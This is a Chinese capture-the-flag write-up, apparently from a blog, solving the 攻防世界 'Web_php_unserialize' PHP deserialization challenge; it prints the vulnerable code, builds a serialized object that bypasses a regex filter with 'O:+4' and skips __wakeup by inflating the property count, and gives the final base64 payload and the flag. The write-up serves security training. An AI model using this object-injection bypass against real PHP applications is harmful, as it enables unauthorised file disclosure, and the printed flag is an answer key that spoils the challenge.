【攻防世界-Web进阶篇-006Web_php_unserialize】

解:打开靶机是一段php代码,代码审计,发现是一道反序列化问题。在上一篇咱们提到过_wakeup()函数需要通过不正确的属性值来绕过,所以这一点已经解决。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { //创建时执行
        $this->file = $file; 
    }
    function __destruct() { //摧毁时执行
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php//提示答案在这里
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); //对参数解码
    if (preg_match('/[oc]:\d+:/i', $var)) { //正则表达式
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

先进行序列化

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$test=new Demo("fl4g.php");
$a=serialize($test);
echo($a);
?>
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

然后再对_wakeup()函数、正则表达式进行绕过,添加下面两条语句。

$a=str_replace('O:4','O:+4',$a);//绕过正则表达式
$a=str_replace('1:{','2:{',$a);//绕过_wakeup()函数
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

 不要忘记再加上64base编码,否则还是打不开的。

echo base64_encode($a);
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值